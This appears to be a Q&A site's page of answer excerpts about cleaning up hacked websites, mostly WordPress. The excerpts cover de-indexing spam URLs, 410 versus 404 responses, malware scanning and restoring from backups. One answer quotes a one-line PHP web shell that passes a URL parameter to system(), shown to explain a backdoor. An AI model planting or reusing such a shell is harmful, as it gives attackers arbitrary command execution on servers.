6 votes
Accepted

Backdoor exploit - could they have downloaded files from server?

<?php $str = $_GET['cmd']; system($str); ?> This potentially allows the attacker to pretty much do/execute anything on your system by passing an arbitrary command in the URL query string! So, ...
user avatar
  • 40.9k
6 votes

My Websites were hacked - how to remove virus?

WordPress hacks are common and frustrating. There is obviously a vulnerability that is allowing them access. Most likely this is through a plugin. To answer your questions: Have you used anything ...
user avatar
  • 7,527
5 votes

Shall I submit sitemap containing all the bad (now 404) urls after the spam url hack?

In addition to @StephenOstermiller's answer, to further expedite the removal of these URLs you should: ensure they return a "410 Gone" status (rather than simply a 404 Not Found - which is ...
user avatar
  • 40.9k
5 votes

Shall I submit sitemap containing all the bad (now 404) urls after the spam url hack?

Leave it as is and hope for the best. Why you shouldn't list 404s in your sitemap.xml Your sitemap should only contain URLs you wan't indexed. URLs in your sitemaps should be clean -they should return ...
user avatar
  • 4,425
5 votes

Shall I submit sitemap containing all the bad (now 404) urls after the spam url hack?

You can submit a temporary sitemap with all the hacked URLs to Google as a method for getting Googlebot to come crawl all of them quickly. When you submit a sitemap of URLs, it will trigger ...
user avatar
4 votes
Accepted

After site was hacked, how to remove foreign pages from Google's Index?

Don't block them from being crawled - this doesn't remove them from the index. It only stops Googlebot from looking at them. Normally, the fastest way is to use the Search Console removal tool. For ...
user avatar
  • 3,828
4 votes

How to make a WP site read only

If what you say above about "no new content" is correct, then instead of attempting to harden WordPress, you could remove it completely after generating completely static output. You can use a ...
user avatar
  • 5,551
3 votes
Accepted

How to force a view of meta data as Google or Bing sees it?

Google has a tool called fetch as Google that is meant for this purpose. Googlebot fetches the pages and shows you what it fetched. Bing has an equivalent tool called fetch as Bingbot.
user avatar
3 votes
Accepted

These files aren't on my server. How are they showing in Google Analytics?

If you're worried about your web server, your first call should be the log files. If it was a hit to your web server, you will see it in the access logs. However, it could also just be tracking code ...
user avatar
3 votes
Accepted

My WP site was hacked. How do i find cloaked content and redirects?

You are going to need to run a virus scanner on your site - if you have cpanel it likely has clamd installed. Even then it may not pick up malware. Check the date files have been modified, if you ...
user avatar
  • 7,527
3 votes

Site was hacked months ago. How do i remove created pages from googles listings

What is the best way to remove these from the google search results Make such affected pages return a 410 HTTP code. You can use the apache mod_rewrite module (or equivalent) and write a server ...
user avatar
3 votes

Mysterious ico files appearing on webserver

EDITED: This is a known php hack. If your server runs Wordpress only, plugins like Wordfence can detect and clean the infected files but if you have other php applications it will take other steps. I ...
user avatar
3 votes

How to make a WP site read only

Whether this will work or not really depends on the method used to hack your site. If the attackers where able to gain remote access to your server then there is no real way to prevent later changes ...
user avatar
2 votes

Hacked website had it's SEO compromised, after recovery, google still index new corrupted URLs

It's completely two sepered tasks from removing hacked pages/malwares and fixing your SERPs result. There's no way you can properly remove particular indexes from Google even with Google Search ...
user avatar
2 votes
Accepted

Mysterious ico files appearing on webserver

This is an attack targeting a PHP vulnerability with POST requests. The attacker somehow manages to change existing PHP files with an @include statement using an encoded path that translates into one ...
user avatar
  • 5,867
2 votes

Site was hacked months ago. How do i remove created pages from googles listings

While I am a firm believer of a 410 over a 404 error response, this is highly dependent upon Google actually visiting each page one at a time. If your site does not enjoy frequent visitations from ...
user avatar
  • 32.5k
2 votes

Hacked site created foreign language tags pages, can we block them in robots.txt to remove them from Google?

If your Wordpress has been hacked, the first thing is remove the infection. Follow these instructions. After that, you could prevent the indexing using noindex tag. You can speed up the deindexation ...
user avatar
  • 3,787
2 votes

Google Console Live Test shows me spammy html with Japanese characters

Thanks to the comment by @closetnoc and the helpful link to nvd.nist.gov/vuln/search I was able to troubleshoot the problem. The solution is a fresh reinstall of Wordpress on the server (Bluehost ...
user avatar
  • 215
2 votes
Accepted

Ensure that all pharma URLs are removed from Google after cleaning up from a hacked site

Ideally, you should be serving an immediate 410 Gone (no "redirect") for these "spam" URLs that you want to be completely removed and a 404 otherwise. Serving a 410 for every non-...
user avatar
  • 40.9k
1 vote

Ensure that all pharma URLs are removed from Google after cleaning up from a hacked site

I wouldn't use the 410 error code. It's better to stick with 404 error codes on all those pages you need to remove. That way, you are telling the search engines that they don't indeed exist anymore. ...
user avatar
1 vote

Three of my Wordpress sites got hacked, trying to understand how and how to prevent it

You should look at if your WordPress folders on the hosting server are writeable, especially the wp-config.php file. I can easily set the siteurl and home as constants via this file and then WP on its ...
user avatar
1 vote

My XML sitemap contains spam content, while the HTML sitemap is not. What can I do?

First scan your website using https://sitecheck.sucuri.net/ and see if you have any malicious code in your website. Once its clean, try to remove the old xml file and then reinstall Google XML ...
user avatar
1 vote

Google Search Console still reporting spammy keywords on our site even after cleaning up a hack

If the links are going to error pages on your site, there is no need to do anything about them. Google won't penalize your site in any way for having links to your site with bad anchor text that go ...
user avatar
1 vote
Accepted

How can I confirm if my security review request has been submitted properly in Google Search Console?

You can not confirm that your submit was correct other than the message you received when you sent it. That's the normal procedure. Right now, the process could take weeks: Reviews for sites hacked ...
user avatar
  • 3,787
1 vote

Remove hacked url from google index not working

As Jonh Mueller said last year: From our point of view, in the mid term/long term, a 404 is the same as a 410 for us. So in both of these cases, we drop those URLs from our index. We ...
user avatar
  • 3,787
1 vote

My WP site was hacked. How do i find cloaked content and redirects?

You need to restore from backups you know are clean. Spending time trying to find every possible instance of malicious code on your site will take much longer, and you still might miss something.
user avatar
1 vote

These files aren't on my server. How are they showing in Google Analytics?

There are multiple reasons that could happen. Those are the steps to try to find out the problem: Stolen code: use a filter to add the hostname to Analytics, then check if another domain is sending ...
user avatar
  • 3,787
1 vote
Accepted

Is it possible to bulkly remove faulty pages from google search console?

Google will eventually stop reporting them, but they will still be on record. The good news is it has no negative consequences. One option is to change them to 410 status, so they get reported ...
user avatar
1 vote

Indexing Japanese links after hack

In theory, these links should no longer be harming your site. In recent updates, Google has stated that bad/spammy links simply add 'no value' rather than incurring a penalty. However, they still ...
user avatar
  • 3,828
1 vote

Hacked website had it's SEO compromised, after recovery, google still index new corrupted URLs

I discovered an htaccess-option to block spam-urls effectivly RewriteRule ^(.*)(viagra|levitra|sildenafil|zilfic|cialis|vardenafil|kamagra|pfizer)(.*)$ - [NC,R=410,L] All URLs with specific keywords ...
user avatar
  • 11

Only top scored, non community-wiki answers of a minimum length are eligible